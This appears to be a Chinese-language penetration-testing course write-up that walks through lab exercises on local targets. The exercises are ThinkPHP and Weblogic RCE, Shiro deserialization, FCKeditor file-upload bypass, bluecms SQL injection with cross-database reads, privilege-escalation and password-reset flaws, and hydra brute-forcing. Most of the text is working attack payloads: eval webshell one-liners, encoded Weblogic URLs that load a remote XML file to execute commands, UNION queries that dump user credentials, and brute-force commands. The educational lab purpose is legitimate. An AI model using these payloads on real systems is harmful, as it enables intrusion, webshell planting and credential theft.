题目
- 1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
- 2、FCKeditor编辑器漏洞实验;
- 3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
- 4、水平越权&垂直越权漏洞实验;
- 5、密码修改逻辑漏洞实验;
- 6、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。
RCE
Thinkphp RCE
测试漏洞是否存在pearcmd,访问路径
url:port/public/?lang=../../../../../../../../usr/local/lib/php/pearcmd
出现报错说明漏洞存在
EXP config-creat添加
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/var/www/html/phpinfo.php
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/var/www/html/request.php
burpsuite中将url编码的字符还原,防止编码影响exp
上传后有成功提示
直接访问php页面
使用蚁剑链接一句话
Weblogic RCE
1、CVE-2020-14882
访问url:7001/console到登录页面,利用漏洞,访问以下url即可在未授权情况下访问管理后台页面
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal
注:%252e%252e%252f 是经过两次URL编码后的../,通过这个就可以实现穿越路径未授权访问后台页面
该页面已正常登录的后台相比,权限不足,缺少部署功能,无法安装应用,也无法通过部署项目获取权限。要想实现RCE需要借助CVE-2020-14883
2、CVE-2020-14883
利用方式一:
通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationCon
text类实现,最早出现在CVE-2019-2725(WebLogic反序列化漏洞),对WebLogic所有版本均有效,需要借助XML文件,通过访问XML文件来执行命令。
构造一个XML文件,并保存在远程服务器上
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg>
<list> <value>bash</value> <value>-c</value>
<value><![CDATA[touch /tmp/magedu1]]></value>
</list> </constructor-arg>
</bean> </beans>
构造payload
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.110.128:8082/upload/rce.xml")
在容器后台可以看到xml命令已被执行
前提:weblogic服务器能够访问到恶意xml
利用方式二:
通过com.tangosol.coherence.mvel2.sh.ShellSession类实现,只能在weblogic12.2.1以上版本利用,低于此版本没有该类
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/magedu2');")
Shiro RCE
响应包中出现rememberME字段说明该网站使用过了Shiro框架,但不能说明存在漏洞抓包观察是否有Remember字段
1.未登录的情况下,请求包的Cookie中没有RememberMe字段,返回包set-Cookie里也没有deleteMe字段
2.登录失败的话,不管有没有勾选“Remember me",返回包都会有RememberMe=deleteMe字段
3.不勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选“Remember me",登录成功的话,返回包set-Cookie里有RememberMe=deleteMe字段,还会有RememberMe的加密字段,之后的所有请求中Cookie都会有RememberMe字段
5.或者可以在cookie后面手动添加一个RememberMe=1,看返回包有没有RememberMe=deleteMe
Shiro反序列化漏洞检测会面临的问题
1. 漏洞无法回显
2. 系统环境复杂
3. AES的key可能被修改
前两个问题可以通过DNSLog检测,第三个可以通过信息搜集、文件读取、暴力破解等方法获取key。
针对Shiro反序列化漏洞,主流方法是使用专业的漏洞利用工具进行检测。
工具一:ShiroExploit v2.51
下载链接:ShiroExploit-Deprecated: Shiro550/Shiro721
>
1.复杂Http请求:如果想自定义http请求,就勾选它,下方会出现输入框
2.使用keys.conf.big:使用工具进行检测的过程中,默认使用keys.conf字典,该字典都是一些常用密钥,如果想要使用更大的字典,则选择keys.conf.big字典
3.指定Key/Gadget/EchoType:指定Key、利用链、回显方式等。
输入url时,要将完整url输入
一般情况下,输入url之后,下一步即可
提供四种检测方式,实际场景中,一般用回显的方式
目标站点存在漏洞,Shiro的默认密钥、利用练等被显示出来
可以执行命令实现rce
注意:在使用回显进行检测时,会在目标网站上自动生成一个文件,其中记录了执行命令的结果,不建议在生产环境中使用此方法。
工具二:Shiro_attack_2.2
Fckeditor
环境搭建 phpstudy(php5.4.45)
(由于phpstudy已将fckeditor映射为8090端口,路径访问由URL/fckeditor/...变为URL:8090/...)
查看fck版本为2.4.3
http://192.168.110.128:8090/_whatsnew.html
http://192.168.110.128:8090/editor/dialog/fck_about.html
利用页面进行文件上传http://192.168.110.128:8090/editor/fckeditor.html
上传页面为asp,但环境是php,需要修改为php
192.168.110.128:8090/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
出现报错,访问
C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.ph p,修改配置如下并保存:
上传路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
保存之后在访问上传页面,可以正常访问
直接上传php文件会报错,不让上传,通过bp对后缀修改进行绕过
发现php文件上传成功 http://192.168.110.128:8090\editor\filemanager\browser\default\images\file/post.php
访问该url,hackbar可以正常连接一句话木马蚁剑连接,获取权限
直接使用工具
旁注&跨库
bluecms v1.6
phpstudy php5.4.45
访问bluecms/uploads/install进行安装,(由于phpstudy已将bluecms映射为8091端口,路径访问由URL/bluecms/...变为URL:8091/...)
数据库 root/123qwe 管理员 admin/123qwe
返回空白页面说明安装成功
访问http://192.168.110.128:8091/uploads/admin跳转到登录界面
添加广告之后,发现可以存在获取js功能
查看js代码,怀疑存在sql注入漏洞
对该点进行注入测试,发现输入的单引号被转义,存在sql注入漏洞
使用order by进行测试,order by 7无报错,order by 8页面报错,说明存在7列
检查源代码,测试显示位,只有一个显示位
输入一个不存在的序号,查看对应显示列
发现对应显示输出7对应的列,修改7为查询语句
查看当前所在数据库,当前数据库为bluecms
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,database()
查询表名
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
查询列名
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'blue_user' 0x626c75655f75736572
出现报错,考虑宽字节绕过通过BurpSuite修改数据包
无法通过宽字节注入
使用十六进制绕过,将blue_user字段转化为十六进制
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
获取具体数据,发现有user_name,pwd字段
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,concat(user_name,pwd) from blue_user
获得用户名密码,通过在线md5解密,即可得到明文密码md5在线解密破解,md5解密加密 (cmd5.com)
查看服务器上所有数据库
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(schema_name) from information_schema.schemata
发现有其他网站数据库存在,可以对其进行跨库操作,获取其他网站的数据库信息。
例如查看dvwa数据库存在的表,0x64767761为16禁止编码后的dvwa,类似上述操作可以获取数据库中的其他信息。
view-source:http://192.168.110.128:8091/uploads/ad_js.php?ad_id=-213 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=0x64767761
简答题
由于多个网站部署在同一个服务器上,通过旁站对服务器攻击,拿下服务器后,即可对主站进行操作。
跨库:由于网站部署在同一个服务器上,只有一个数据库管理系统,多个网站互为旁站,利用information_schema数据库进行跨数据库操作。
越权漏洞
水平越权
登录账号
抓包,服务器可能根据username、cookie返回值直接修改url,实现水平越权
http://192.168.110.129:8000/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息
返回的是lili的信息,但抓包的看cookie没有变化,还是lucy的权限
垂直越权
pikachu靶场垂直越权有两个账号
admin/123456:超级管理员,具备添加/删除用户权限
pikachu/000000:只有查看权限
高权限模块直接到低权限执行操作
在admin用户访问添加/删除用户页面获取url,到pikachu用户浏览器执行
点击创建后,回到登录页面,登录pikachu用户之后,看到用户已被添加
抓取高权限的数据包,用低权限的cookie修改
抓取admin用户的数据包
获取pikachu用户的cookie
替换数据包中的cookie为pikachu用户的cookie
test2账号成功创建
逻辑漏洞
进入靶场在容器中查看账号密码(也可以尝试爆破)
docker exec -it webug bash
mysql -u root -p
password:toor
show databases;
use webug;
select * from user_test;
先登录aaaaa账户
删除pt_env,发现有修改页面,进行抓包
查看数据包中相关信息
将id修改为1进行尝试,页面返回修改成功提示
在后台查看admin用户密码已被修改
暴力猜解
爆破ftp
hydra 192.168.110.128 ftp -l test -P pwd.txt -vV -f -e ns
使用字典时,要确保当前目录下存在该字典
获取密码之后,ftp登录服务器
可以查看ftp服务器的文件
爆破ssh
windows中安装openssh,并配置环境变量
配置完成后,命令行输入ssh,出现下图即代表安装成功
win7默认安装openssh,账号密码默认是当前系统用户的微软账号和密码。
hydra 192.168.110.133 ssh -l Fantasy -P pwd.txt -o ssh.log
查看爆破输出的文件
ssh登录测试
爆破rdp
hydra 192.168.110.133 rdp -l Fantasy -P pwd.txt
远程测试:
如果出现以下问题Win+R 打开运行窗口,输入gpedit.msc,修改本机组策略
爆破mysql服务
爆破phpstudy中的mysql
小皮面板安装SQL_Front
由于数据库默认不允许远程连接,需要进行配置
grant all privileges on *.* to root@'%' identified by 'root';
运行之后,使用hydra进行爆破
hydra 192.168.110.128 mysql -l root -P pwd.txt
进行连接测试